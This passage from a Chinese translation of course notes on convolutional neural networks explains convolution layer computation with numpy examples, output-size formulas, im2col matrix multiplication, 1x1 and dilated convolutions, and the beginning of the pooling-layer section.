็š„ๅ…ทไฝ“๏ผŒๆˆ‘ไปฌ็”จไปฃ็ ๆฅๅฑ•็คบไธŠ่ฟฐๆ€่ทฏใ€‚ๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๆ˜ฏnumpyๆ•ฐ็ป„**X**ใ€‚้‚ฃไนˆ๏ผš\n\n- ไธ€ไธชไฝไบŽ**(x,y)**็š„ๆทฑๅบฆๅˆ—๏ผˆๆˆ–็บค็ปด๏ผ‰ๅฐ†ไผšๆ˜ฏ**X[x,y,:]**ใ€‚\n- ๅœจๆทฑๅบฆไธบ**d**ๅค„็š„ๆทฑๅบฆๅˆ‡็‰‡๏ผŒๆˆ–ๆฟ€ๆดปๅ›พๅบ”่ฏฅๆ˜ฏ**X[:,:,d]**ใ€‚\n\n*ๅท็งฏๅฑ‚ไพ‹ๅญ*๏ผšๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐๆฎไฝ“**X**็š„ๅฐบๅฏธ**X.shape:(11,11,4)**๏ผŒไธไฝฟ็”จ้›ถๅกซๅ……๏ผˆ$P=0$๏ผ‰๏ผŒๆปคๆณขๅ™จ็š„ๅฐบๅฏธๆ˜ฏ$F=5$๏ผŒๆญฅ้•ฟ$S=2$ใ€‚้‚ฃไนˆ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ฉบ้—ดๅฐบๅฏธๅฐฑๆ˜ฏ(11-5)/2+1=4๏ผŒๅณ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„ๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ้ƒฝๆ˜ฏ4ใ€‚้‚ฃไนˆๅœจ่พ“ๅ‡บๆ•ฐๆฎไฝ“ไธญ็š„ๆฟ€ๆดปๆ˜ ๅฐ„๏ผˆ็งฐๅ…ถไธบ**V**๏ผ‰็œ‹่ตทๆฅๅฐฑๆ˜ฏไธ‹้ข่ฟ™ๆ ท๏ผˆๅœจ่ฟ™ไธชไพ‹ๅญไธญ๏ผŒๅชๆœ‰้ƒจๅˆ†ๅ…ƒ็ด ่ขซ่ฎก็ฎ—๏ผ‰๏ผš\n\n- **V[0,0,0] = np.sum(X[:5,:5,:] \\* W0) + b0**\n- **V[1,0,0] = np.sum(X[2:7,:5,:] \\* W0) + b0**\n- **V[2,0,0] = np.sum(X[4:9,:5,:] \\* W0) + b0**\n- **V[3,0,0] = np.sum(X[6:11,:5,:] \\* W0) + b0**\n\nๅœจnumpyไธญ๏ผŒ*****ๆ“ไฝœๆ˜ฏ่ฟ›่กŒๆ•ฐ็ป„้—ด็š„้€ๅ…ƒ็ด ็›ธไน˜ใ€‚ๆƒ้‡ๅ‘้‡**W0**ๆ˜ฏ่ฏฅ็ฅž็ปๅ…ƒ็š„ๆƒ้‡๏ผŒ**b0**ๆ˜ฏๅ…ถๅๅทฎใ€‚ๅœจ่ฟ™้‡Œ๏ผŒ**W0**่ขซๅ‡่ฎพๅฐบๅฏธๆ˜ฏ**W0.shape: (5,5,4)**๏ผŒๅ› ไธบๆปคๆณขๅ™จ็š„ๅฎฝ้ซ˜ๆ˜ฏ5๏ผŒ่พ“ๅ…ฅๆ•ฐๆฎ้‡็š„ๆทฑๅบฆๆ˜ฏ4ใ€‚ๆณจๆ„ๅœจๆฏไธ€ไธช็‚น๏ผŒ่ฎก็ฎ—็‚น็งฏ็š„ๆ–นๅผๅ’Œไน‹ๅ‰็š„ๅธธ่ง„็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅŒๆ—ถ๏ผŒ่ฎก็ฎ—ๅ†…็งฏ็š„ๆ—ถๅ€™ไฝฟ็”จ็š„ๆ˜ฏๅŒไธ€ไธชๆƒ้‡ๅ’Œๅๅทฎ๏ผˆๅ› ไธบๅ‚ๆ•ฐๅ…ฑไบซ๏ผ‰๏ผŒๅœจๅฎฝๅบฆๆ–นๅ‘็š„ๆ•ฐๅญ—ๆฏๆฌกไธŠๅ‡2๏ผˆๅ› ไธบๆญฅ้•ฟไธบ2๏ผ‰ใ€‚่ฆๆž„ๅปบ่พ“ๅ‡บๆ•ฐๆฎไฝ“ไธญ็š„็ฌฌไบŒๅผ ๆฟ€ๆดปๅ›พ๏ผŒไปฃ็ ๅบ”่ฏฅๆ˜ฏ๏ผš\n\n- **V[0,0,1] = np.sum(X[:5,:5,:] \\* W1) + b1**\n- **V[1,0,1] = np.sum(X[2:7,:5,:] \\* W1) + b1**\n- **V[2,0,1] = np.sum(X[4:9,:5,:] \\* W1) + b1**\n- **V[3,0,1] = np.sum(X[6:11,:5,:] \\* W1) + b1**\n- **V[0,1,1] = np.sum(X[:5,2:7,:] \\* W1) + b1 **๏ผˆๅœจyๆ–นๅ‘ไธŠ๏ผ‰\n- **V[2,3,1] = np.sum(X[4:9,6:11,:] \\* W1) + b1 **๏ผˆๆˆ–ไธคไธชๆ–นๅ‘ไธŠๅŒๆ—ถ๏ผ‰\n\nๆˆ‘ไปฌ่ฎฟ้—ฎ็š„ๆ˜ฏ**V**็š„ๆทฑๅบฆ็ปดๅบฆไธŠ็š„็ฌฌไบŒๅฑ‚๏ผˆๅณindex1๏ผ‰๏ผŒๅ› ไธบๆ˜ฏๅœจ่ฎก็ฎ—็ฌฌไบŒไธชๆฟ€ๆดปๅ›พ๏ผŒๆ‰€ไปฅ่ฟ™ๆฌก่ฏ•็”จ็š„ๅ‚ๆ•ฐ้›†ๅฐฑๆ˜ฏ**W1**ไบ†ใ€‚ๅœจไธŠ้ข็š„ไพ‹ๅญไธญ๏ผŒไธบไบ†็ฎ€ๆด็•ฅๅŽปไบ†ๅท็งฏๅฑ‚ๅฏนไบŽ่พ“ๅ‡บๆ•ฐ็ป„**V**ไธญๅ…ถไป–้ƒจๅˆ†็š„ๆ“ไฝœใ€‚่ฟ˜ๆœ‰๏ผŒ่ฆ่ฎฐๅพ—่ฟ™ไบ›ๅท็งฏๆ“ไฝœ้€šๅธธๅŽ้ขๆŽฅ็š„ๆ˜ฏReLUๅฑ‚๏ผŒๅฏนๆฟ€ๆดปๅ›พไธญ็š„ๆฏไธชๅ…ƒ็ด ๅšๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฟ็ฎ—๏ผŒ่ฟ™้‡Œๆฒกๆœ‰ๆ˜พ็คบใ€‚\n\n\n\n**ๅฐ็ป“**๏ผš ๆˆ‘ไปฌๆ€ป็ป“ไธ€ไธ‹ๅท็งฏๅฑ‚็š„ๆ€ง่ดจ๏ผš\n\n- ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธไธบ$W_1\\times H_1\\times D_1$\n\n- 4ไธช่ถ…ๅ‚ๆ•ฐ๏ผš\n\n- - ๆปคๆณขๅ™จ็š„ๆ•ฐ้‡$K$\n - ๆปคๆณขๅ™จ็š„็ฉบ้—ดๅฐบๅฏธ$F$\n - ๆญฅ้•ฟ$S$\n - ้›ถๅกซๅ……ๆ•ฐ้‡$P$\n\n\n- ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธไธบ$W_2\\times H_2\\times D_2$ ๏ผŒๅ…ถไธญ๏ผš\n\n$W_2=(W_1-F+2P)/S+1$\n\n- - $H_2=(H_1-F+2P)/S+1$ ๏ผˆๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ็š„่ฎก็ฎ—ๆ–นๆณ•็›ธๅŒ๏ผ‰\n\n$D_2=K$\n\n- ็”ฑไบŽๅ‚ๆ•ฐๅ…ฑไบซ๏ผŒๆฏไธชๆปคๆณขๅ™จๅŒ…ๅซ$F\\cdot F\\cdot D_1$ไธชๆƒ้‡๏ผŒๅท็งฏๅฑ‚ไธ€ๅ…ฑๆœ‰$F\\cdot F\\cdot D_1\\cdot K$ไธชๆƒ้‡ๅ’Œ$K$ไธชๅ็ฝฎใ€‚\n- ๅœจ่พ“ๅ‡บๆ•ฐๆฎไฝ“ไธญ๏ผŒ็ฌฌ$d$ไธชๆทฑๅบฆๅˆ‡็‰‡๏ผˆ็ฉบ้—ดๅฐบๅฏธๆ˜ฏ$W_2\\times H_2$๏ผ‰๏ผŒ็”จ็ฌฌ$d$ไธชๆปคๆณขๅ™จๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎ่ฟ›่กŒๆœ‰ๆ•ˆๅท็งฏ่ฟ็ฎ—็š„็ป“ๆžœ๏ผˆไฝฟ็”จๆญฅ้•ฟ$S$๏ผ‰๏ผŒๆœ€ๅŽๅœจๅŠ ไธŠ็ฌฌ$d$ไธชๅๅทฎใ€‚\n\nๅฏน่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐ๏ผŒๅธธ่ง็š„่ฎพ็ฝฎๆ˜ฏ$F=3$๏ผŒ$P=1$ใ€‚ๅŒๆ—ถ่ฎพ็ฝฎ่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐไนŸๆœ‰ไธ€ไบ›็บฆๅฎšไฟ—ๆˆ็š„ๆƒฏไพ‹ๅ’Œ็ป้ชŒ๏ผŒๅฏไปฅๅœจไธ‹้ข็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„็ซ ่Š‚ไธญๆŸฅ็œ‹ใ€‚\n\n\n\nๅท็งฏๅฑ‚ๆผ”็คบ๏ผšไธ‹้ขๆ˜ฏไธ€ไธชๅท็งฏๅฑ‚็š„่ฟ่กŒๆผ”็คบใ€‚ๅ› ไธบ3Dๆ•ฐๆฎ้šพไปฅๅฏ่ง†ๅŒ–๏ผŒๆ‰€ไปฅๆ‰€ๆœ‰็š„ๆ•ฐๆฎ๏ผˆ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๆ˜ฏ่“่‰ฒ๏ผŒๆƒ้‡ๆ•ฐๆฎไฝ“ๆ˜ฏ็บข่‰ฒ๏ผŒ่พ“ๅ‡บๆ•ฐๆฎไฝ“ๆ˜ฏ็ปฟ่‰ฒ๏ผ‰้ƒฝ้‡‡ๅ–ๅฐ†ๆทฑๅบฆๅˆ‡็‰‡ๆŒ‰็…งๅˆ—็š„ๆ–นๅผๆŽ’ๅˆ—ๅฑ•็Žฐใ€‚่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธๆ˜ฏ$W_1=5,H_1=5,D_1=3$๏ผŒๅท็งฏๅฑ‚ๅ‚ๆ•ฐ$K=2,F=3,S=2,P=1$ใ€‚ๅฐฑๆ˜ฏ่ฏด๏ผŒๆœ‰2ไธชๆปคๆณขๅ™จ๏ผŒๆปคๆณขๅ™จ็š„ๅฐบๅฏธๆ˜ฏ$3\\cdot 3$๏ผŒๅฎƒไปฌ็š„ๆญฅ้•ฟๆ˜ฏ2.ๅ› ๆญค๏ผŒ่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ฉบ้—ดๅฐบๅฏธๆ˜ฏ(5-3+2)/2+1=3ใ€‚ๆณจๆ„่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไฝฟ็”จไบ†้›ถๅกซๅ……$P=1$๏ผŒๆ‰€ไปฅ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅค–่พน็ผ˜ไธ€ๅœˆ้ƒฝๆ˜ฏ0ใ€‚ไธ‹้ข็š„ไพ‹ๅญๅœจ็ปฟ่‰ฒ็š„่พ“ๅ‡บๆฟ€ๆดปๆ•ฐๆฎไธŠๅพช็Žฏๆผ”็คบ๏ผŒๅฑ•็คบไบ†ๅ…ถไธญๆฏไธชๅ…ƒ็ด ้ƒฝๆ˜ฏๅ…ˆ้€š่ฟ‡่“่‰ฒ็š„่พ“ๅ…ฅๆ•ฐๆฎๅ’Œ็บข่‰ฒ็š„ๆปคๆณขๅ™จ้€ๅ…ƒ็ด ็›ธไน˜๏ผŒ็„ถๅŽๆฑ‚ๅ…ถๆ€ปๅ’Œ๏ผŒๆœ€ๅŽๅŠ ไธŠๅๅทฎๅพ—ๆฅใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/10/5aa33ff291fb0.png)\n\n**่ฏ‘่€…ๆณจ**๏ผš่ฏท็‚นๅ‡ปๅ›พ็‰‡ๆŸฅ็œ‹ๅŠจ็”ปๆผ”็คบใ€‚ๅฆ‚ๆžœgifไธ่ƒฝๆญฃ็กฎๆ’ญๆ”พ๏ผŒ่ฏท่ฏป่€…ๅ‰ๅพ€ๆ–ฏๅฆ็ฆ่ฏพ็จ‹ๅฎ˜็ฝ‘ๆŸฅ็œ‹ๆญคๆผ”็คบใ€‚*\n\n---\n\n**็”จ็Ÿฉ้˜ตไน˜ๆณ•ๅฎž็Žฐ**๏ผšๅท็งฏ่ฟ็ฎ—ๆœฌ่ดจไธŠๅฐฑๆ˜ฏๅœจๆปคๆณขๅ™จๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅฑ€้ƒจๅŒบๅŸŸ้—ดๅš็‚น็งฏใ€‚ๅท็งฏๅฑ‚็š„ๅธธ็”จๅฎž็Žฐๆ–นๅผๅฐฑๆ˜ฏๅˆฉ็”จ่ฟ™ไธ€็‚น๏ผŒๅฐ†ๅท็งฏๅฑ‚็š„ๅ‰ๅ‘ไผ ๆ’ญๅ˜ๆˆไธ€ไธชๅทจๅคง็š„็Ÿฉ้˜ตไน˜ๆณ•๏ผš\n\n1. ่พ“ๅ…ฅๅ›พๅƒ็š„ๅฑ€้ƒจๅŒบๅŸŸ่ขซ**im2col**ๆ“ไฝœๆ‹‰ไผธไธบๅˆ—ใ€‚ๆฏ”ๅฆ‚๏ผŒๅฆ‚ๆžœ่พ“ๅ…ฅๆ˜ฏ[227x227x3]๏ผŒ่ฆไธŽๅฐบๅฏธไธบ11x11x3็š„ๆปคๆณขๅ™จไปฅๆญฅ้•ฟไธบ4่ฟ›่กŒๅท็งฏ๏ผŒๅฐฑๅ–่พ“ๅ…ฅไธญ็š„[11x11x3]ๆ•ฐๆฎๅ—๏ผŒ็„ถๅŽๅฐ†ๅ…ถๆ‹‰ไผธไธบ้•ฟๅบฆไธบ11x11x3=363็š„ๅˆ—ๅ‘้‡ใ€‚้‡ๅค่ฟ›่กŒ่ฟ™ไธ€่ฟ‡็จ‹๏ผŒๅ› ไธบๆญฅ้•ฟไธบ4๏ผŒๆ‰€ไปฅ่พ“ๅ‡บ็š„ๅฎฝ้ซ˜ไธบ(227-11)/4+1=55๏ผŒๆ‰€ไปฅๅพ—ๅˆฐ*im2col*ๆ“ไฝœ็š„่พ“ๅ‡บ็Ÿฉ้˜ต**X_col**็š„ๅฐบๅฏธๆ˜ฏ[363x3025]๏ผŒๅ…ถไธญๆฏๅˆ—ๆ˜ฏๆ‹‰ไผธ็š„ๆ„Ÿๅ—้‡Ž๏ผŒๅ…ฑๆœ‰55x55=3,025ไธชใ€‚ๆณจๆ„ๅ› ไธบๆ„Ÿๅ—้‡Žไน‹้—ดๆœ‰้‡ๅ ๏ผŒๆ‰€ไปฅ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญ็š„ๆ•ฐๅญ—ๅœจไธๅŒ็š„ๅˆ—ไธญๅฏ่ƒฝๆœ‰้‡ๅคใ€‚\n2. ๅท็งฏๅฑ‚็š„ๆƒ้‡ไนŸๅŒๆ ท่ขซๆ‹‰ไผธๆˆ่กŒใ€‚ไธพไพ‹๏ผŒๅฆ‚ๆžœๆœ‰96ไธชๅฐบๅฏธไธบ[11x11x3]็š„ๆปคๆณขๅ™จ๏ผŒๅฐฑ็”Ÿๆˆไธ€ไธช็Ÿฉ้˜ต**W_row**๏ผŒๅฐบๅฏธไธบ[96x363]ใ€‚\n3. ็Žฐๅœจๅท็งฏ็š„็ป“ๆžœๅ’Œ่ฟ›่กŒไธ€ไธชๅคง็Ÿฉ้˜ตไน˜**np.dot(W_row, X_col)**ๆ˜ฏ็ญ‰ไปท็š„ไบ†๏ผŒ่ƒฝๅพ—ๅˆฐๆฏไธชๆปคๆณขๅ™จๅ’Œๆฏไธชๆ„Ÿๅ—้‡Ž้—ด็š„็‚น็งฏใ€‚ๅœจๆˆ‘ไปฌ็š„ไพ‹ๅญไธญ๏ผŒ่ฟ™ไธชๆ“ไฝœ็š„่พ“ๅ‡บๆ˜ฏ[96x3025]๏ผŒ็ป™ๅ‡บไบ†ๆฏไธชๆปคๆณขๅ™จๅœจๆฏไธชไฝ็ฝฎ็š„็‚น็งฏ่พ“ๅ‡บใ€‚\n4. ็ป“ๆžœๆœ€ๅŽๅฟ…้กป่ขซ้‡ๆ–ฐๅ˜ไธบๅˆ็†็š„่พ“ๅ‡บๅฐบๅฏธ[55x55x96]ใ€‚\n\n่ฟ™ไธชๆ–นๆณ•็š„็ผบ็‚นๅฐฑๆ˜ฏๅ ็”จๅ†…ๅญ˜ๅคชๅคš๏ผŒๅ› ไธบๅœจ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญ็š„ๆŸไบ›ๅ€ผๅœจ**X_col**ไธญ่ขซๅคๅˆถไบ†ๅคšๆฌกใ€‚ไฝ†ๆ˜ฏ๏ผŒๅ…ถไผ˜็‚นๆ˜ฏ็Ÿฉ้˜ตไน˜ๆณ•ๆœ‰้žๅธธๅคš็š„้ซ˜ๆ•ˆๅฎž็Žฐๆ–นๅผ๏ผŒๆˆ‘ไปฌ้ƒฝๅฏไปฅไฝฟ็”จ๏ผˆๆฏ”ๅฆ‚ๅธธ็”จ็š„[BLAS](http://link.zhihu.com/?target=http%3A//www.netlib.org/blas/)API๏ผ‰ใ€‚่ฟ˜ๆœ‰๏ผŒๅŒๆ ท็š„*im2col*ๆ€่ทฏๅฏไปฅ็”จๅœจๆฑ‡่šๆ“ไฝœไธญใ€‚\n\n\n\nๅๅ‘ไผ ๆ’ญ๏ผšๅท็งฏๆ“ไฝœ็š„ๅๅ‘ไผ ๆ’ญ๏ผˆๅŒๆ—ถๅฏนไบŽๆ•ฐๆฎๅ’Œๆƒ้‡๏ผ‰่ฟ˜ๆ˜ฏไธ€ไธชๅท็งฏ๏ผˆไฝ†ๆ˜ฏๆ˜ฏๅ’Œ็ฉบ้—ดไธŠ็ฟป่ฝฌ็š„ๆปคๆณขๅ™จ๏ผ‰ใ€‚ไฝฟ็”จไธ€ไธช1็ปด็š„ไพ‹ๅญๆฏ”่พƒๅฎนๆ˜“ๆผ”็คบใ€‚\n\n**1x1ๅท็งฏ**๏ผšไธ€ไบ›่ฎบๆ–‡ไธญไฝฟ็”จไบ†1x1็š„ๅท็งฏ๏ผŒ่ฟ™ไธชๆ–นๆณ•ๆœ€ๆ—ฉๆ˜ฏๅœจ่ฎบๆ–‡[Network in Network](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1312.4400)ไธญๅ‡บ็Žฐใ€‚ไบบไปฌๅˆšๅผ€ๅง‹็œ‹่ง่ฟ™ไธช1x1ๅท็งฏ็š„ๆ—ถๅ€™ๆฏ”่พƒๅ›ฐๆƒ‘๏ผŒๅฐคๅ…ถๆ˜ฏ้‚ฃไบ›ๅ…ทๆœ‰ไฟกๅทๅค„็†ไธ“ไธš่ƒŒๆ™ฏ็š„ไบบใ€‚ๅ› ไธบไฟกๅทๆ˜ฏ2็ปด็š„๏ผŒๆ‰€ไปฅ1x1ๅท็งฏๅฐฑๆฒกๆœ‰ๆ„ไน‰ใ€‚ไฝ†ๆ˜ฏ๏ผŒๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญไธๆ˜ฏ่ฟ™ๆ ท๏ผŒๅ› ไธบ่ฟ™้‡Œๆ˜ฏๅฏน3ไธช็ปดๅบฆ่ฟ›่กŒๆ“ไฝœ๏ผŒๆปคๆณขๅ™จๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆทฑๅบฆๆ˜ฏไธ€ๆ ท็š„ใ€‚ๆฏ”ๅฆ‚๏ผŒๅฆ‚ๆžœ่พ“ๅ…ฅๆ˜ฏ[32x32x3]๏ผŒ้‚ฃไนˆ1x1ๅท็งฏๅฐฑๆ˜ฏๅœจ้ซ˜ๆ•ˆๅœฐ่ฟ›่กŒ3็ปด็‚น็งฏ๏ผˆๅ› ไธบ่พ“ๅ…ฅๆทฑๅบฆๆ˜ฏ3ไธช้€š้“๏ผ‰ใ€‚\n\n**ๆ‰ฉๅผ ๅท็งฏ**๏ผšๆœ€่ฟ‘ไธ€ไธช็ ”็ฉถ๏ผˆ[Fisher Yuๅ’ŒVladlen Koltun็š„่ฎบๆ–‡](http://link.zhihu.com/?target=https%3A//arxiv.org/abs/1511.07122)๏ผ‰็ป™ๅท็งฏๅฑ‚ๅผ•ๅ…ฅไบ†ไธ€ไธชๆ–ฐ็š„ๅซ*ๆ‰ฉๅผ ๏ผˆdilation๏ผ‰*็š„่ถ…ๅ‚ๆ•ฐใ€‚ๅˆฐ็›ฎๅ‰ไธบๆญข๏ผŒๆˆ‘ไปฌๅช่ฎจ่ฎบไบ†ๅท็งฏๅฑ‚ๆปคๆณขๅ™จๆ˜ฏ่ฟž็ปญ็š„ๆƒ…ๅ†ตใ€‚ไฝ†ๆ˜ฏ๏ผŒ่ฎฉๆปคๆณขๅ™จไธญๅ…ƒ็ด ไน‹้—ดๆœ‰้—ด้š™ไนŸๆ˜ฏๅฏไปฅ็š„๏ผŒ่ฟ™ๅฐฑๅซๅšๆ‰ฉๅผ ใ€‚ไธพไพ‹๏ผŒๅœจๆŸไธช็ปดๅบฆไธŠๆปคๆณขๅ™จ**w**็š„ๅฐบๅฏธๆ˜ฏ3๏ผŒ้‚ฃไนˆ่ฎก็ฎ—่พ“ๅ…ฅ**x**็š„ๆ–นๅผๆ˜ฏ๏ผš**w[0]\\*x[0] + w[1]*x[1] + w[2]*x[2]**๏ผŒๆญคๆ—ถๆ‰ฉๅผ ไธบ0ใ€‚ๅฆ‚ๆžœๆ‰ฉๅผ ไธบ1๏ผŒ้‚ฃไนˆ่ฎก็ฎ—ไธบ๏ผš **w[0]\\*x[0] + w[1]*x[2] + w[2]*x[4]**ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆ“ไฝœไธญๅญ˜ๅœจ1็š„้—ด้š™ใ€‚ๅœจๆŸไบ›่ฎพ็ฝฎไธญ๏ผŒๆ‰ฉๅผ ๅท็งฏไธŽๆญฃๅธธๅท็งฏ็ป“ๅˆ่ตทๆฅ้žๅธธๆœ‰็”จ๏ผŒๅ› ไธบๅœจๅพˆๅฐ‘็š„ๅฑ‚ๆ•ฐๅ†…ๆ›ดๅฟซๅœฐๆฑ‡้›†่พ“ๅ…ฅๅ›พ็‰‡็š„ๅคงๅฐบๅบฆ็‰นๅพใ€‚ๆฏ”ๅฆ‚๏ผŒๅฆ‚ๆžœไธŠไธ‹้‡ๅ 2ไธช3x3็š„ๅท็งฏๅฑ‚๏ผŒ้‚ฃไนˆ็ฌฌไบŒไธชๅท็งฏๅฑ‚็š„็ฅž็ปๅ…ƒ็š„ๆ„Ÿๅ—้‡Žๆ˜ฏ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญ5x5็š„ๅŒบๅŸŸ๏ผˆๅฏไปฅๆˆ่ฟ™ไบ›็ฅž็ปๅ…ƒ็š„*ๆœ‰ๆ•ˆๆ„Ÿๅ—้‡Ž*ๆ˜ฏ5x5๏ผ‰ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅฏนๅท็งฏ่ฟ›่กŒๆ‰ฉๅผ ๏ผŒ้‚ฃไนˆ่ฟ™ไธชๆœ‰ๆ•ˆๆ„Ÿๅ—้‡Žๅฐฑไผš่ฟ…้€Ÿๅขž้•ฟใ€‚\n\n\n\n## ๆฑ‡่šๅฑ‚\n\n้€šๅธธ๏ผŒๅœจ่ฟž็ปญ็š„ๅท็งฏๅฑ‚ไน‹้—ดไผšๅ‘จๆœŸๆ€งๅœฐๆ’ๅ…ฅไธ€ไธชๆฑ‡่šๅฑ‚ใ€‚ๅฎƒ็š„ไฝœ็”จๆ˜ฏ้€ๆธ้™ไฝŽๆ•ฐๆฎไฝ“็š„็ฉบ้—ดๅฐบๅฏธ๏ผŒ่ฟ™ๆ ท็š„่ฏๅฐฑ่ƒฝๅ‡ๅฐ‘็ฝ‘็ปœไธญๅ‚ๆ•ฐ็š„ๆ•ฐ้‡๏ผŒไฝฟๅพ—่ฎก็ฎ—่ต„ๆบ่€—่ดนๅ˜ๅฐ‘๏ผŒไนŸ่ƒฝๆœ‰ๆ•ˆๆŽงๅˆถ่ฟ‡ๆ‹Ÿๅˆใ€‚ๆฑ‡่šๅฑ‚ไฝฟ็”จMAXๆ“ไฝœ๏ผŒๅฏน่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆฏไธ€ไธชๆทฑๅบฆๅˆ‡็‰‡็‹ฌ็ซ‹่ฟ›่กŒๆ“ไฝœ๏ผŒๆ”นๅ˜ๅฎƒ็š„็ฉบ้—ดๅฐบๅฏธใ€‚ๆœ€ๅธธ่ง็š„ๅฝขๅผๆ˜ฏๆฑ‡่šๅฑ‚ไฝฟ็”จๅฐบๅฏธ2x2็š„ๆปคๆณขๅ™จ๏ผŒไปฅๆญฅ้•ฟไธบ2ๆฅๅฏนๆฏไธชๆทฑๅบฆๅˆ‡็‰‡่ฟ›่กŒ้™้‡‡ๆ ท๏ผŒๅฐ†ๅ…ถไธญ75%็š„ๆฟ€ๆดปไฟกๆฏ้ƒฝไธขๆŽ‰ใ€‚ๆฏไธชMAXๆ“ไฝœๆ˜ฏไปŽ4ไธชๆ•ฐๅญ—ไธญๅ–ๆœ€ๅคงๅ€ผ๏ผˆไนŸๅฐฑๆ˜ฏๅœจๆทฑๅบฆๅˆ‡็‰‡ไธญๆŸไธช2x2็š„ๅŒบๅŸŸ๏ผ‰ใ€‚ๆทฑๅบฆไฟๆŒไธๅ˜ใ€‚ๆฑ‡่šๅฑ‚็š„ไธ€ไบ›ๅ…ฌๅผ๏ผš\n\n- ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐบๅฏธ$W_1\\cdot H_1\\cdot D_1$\n\n- ๆœ‰ไธคไธช่ถ…ๅ‚ๆ•ฐ๏ผš\n\n - ็ฉบ้—ดๅคงๅฐ$F$\n\n - ๆญฅ้•ฟ$S$\n\n- ่พ“ๅ‡บๆ•ฐๆฎไฝ“ๅฐบๅฏธ$W_2\\cdot H_2\\cdot D_2$๏ผŒๅ…ถไธญ\n\n - $W_2=(W_1-F)/S+1$\n - $H_2=(H_1-F)/S+1$\n - $D_2=D_1$\n\n- ๅ› ไธบๅฏน่พ“ๅ…ฅ่ฟ›่กŒ็š„ๆ˜ฏๅ›บๅฎšๅ‡ฝๆ•ฐ่ฎก็ฎ—๏ผŒๆ‰€ไปฅๆฒกๆœ‰ๅผ•ๅ…ฅๅ‚ๆ•ฐ\n- ๅœจๆฑ‡่šๅฑ‚ไธญๅพˆๅฐ‘ไฝฟ็”จ้›ถๅกซๅ……\n\nๅœจๅฎž่ทตไธญ๏ผŒๆœ€ๅคงๆฑ‡่šๅฑ‚้€šๅธธๅชๆœ‰ไธค็งๅฝขๅผ๏ผšไธ€็งๆ˜ฏ$F=3,S=2$๏ผŒไนŸๅซ้‡ๅ ๆฑ‡่š๏ผˆoverlapping pooling๏ผ‰๏ผŒๅฆไธ€ไธชๆ›ดๅธธ็”จ็š„ๆ˜ฏ$F=2,S=2$ใ€‚ๅฏนๆ›ดๅคงๆ„Ÿๅ—้‡Ž่ฟ›่กŒๆฑ‡่š้œ€่ฆ็š„ๆฑ‡่šๅฐบๅฏธไนŸๆ›ดๅคง๏ผŒ่€Œไธ”ๅพ€ๅพ€ๅฏน็ฝ‘็ปœๆœ‰็ ดๅๆ€งใ€‚\n\n\n\n**ๆ™ฎ้€šๆฑ‡่š๏ผˆGeneral Pooling๏ผ‰**๏ผš้™คไบ†ๆœ€ๅคงๆฑ‡่š๏ผŒๆฑ‡่šๅ•ๅ…ƒ่ฟ˜ๅฏไปฅไฝฟ็”จๅ…ถไป–็š„ๅ‡ฝๆ•ฐ๏ผŒๆฏ”ๅฆ‚*ๅนณๅ‡*ๆฑ‡่š*๏ผˆaverage pooling๏ผ‰*ๆˆ–*L-2่Œƒๅผ*ๆฑ‡่š*๏ผˆL2-norm pooling๏ผ‰*ใ€‚ๅนณๅ‡ๆฑ‡่šๅŽ†ๅฒไธŠๆฏ”่พƒๅธธ็”จ๏ผŒไฝ†ๆ˜ฏ็Žฐๅœจๅทฒ็ปๅพˆๅฐ‘ไฝฟ็”จไบ†ใ€‚ๅ› ไธบๅฎž่ทต่ฏๆ˜Ž๏ผŒๆœ€ๅคงๆฑ‡่š็š„ๆ•ˆๆžœๆฏ”ๅนณๅ‡ๆฑ‡่š่ฆๅฅฝใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/10/5aa340fd1a759.png)\n\nๆฑ‡่šๅฑ‚ๅœจ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๆฏไธชๆทฑๅบฆๅˆ‡็‰‡ไธŠ๏ผŒ็‹ฌ็ซ‹ๅœฐๅฏนๅ…ถ่ฟ›่กŒ็ฉบ้—ดไธŠ็š„้™้‡‡ๆ ทใ€‚ๅทฆ่พน๏ผšๆœฌไพ‹ไธญ๏ผŒ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐบๅฏธ[224x224x64]่ขซ้™้‡‡ๆ ทๅˆฐไบ†[112x112x64]๏ผŒ้‡‡ๅ–็š„ๆปคๆณขๅ™จๅฐบๅฏธๆ˜ฏ2๏ผŒๆญฅ้•ฟไธบ2๏ผŒ่€Œๆทฑๅบฆไธๅ˜ใ€‚ๅณ่พน๏ผšๆœ€ๅธธ็”จ็š„้™้‡‡ๆ 